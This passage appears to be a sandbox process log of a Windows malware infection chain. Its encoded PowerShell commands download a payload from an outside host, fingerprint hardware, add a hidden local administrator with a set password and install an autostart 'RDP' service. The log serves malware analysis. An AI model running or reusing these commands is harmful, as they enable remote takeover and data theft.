RAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DEB.tmp" "c:\Users\user\AppData\Local\Temp\st5qs1wr\CSC2C64D26780D497590A0A819DD9C4D5F.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx" /o ""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\sppsvc.exe C:\Windows\system32\sppsvc.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: unknown	Process created: C:\Windows\Temp\svczHost.exe C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: unknown	Process created: C:\Windows\Temp\myRdpService.exe C:\Windows\Temp\myRdpService.exe cakoi10
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd 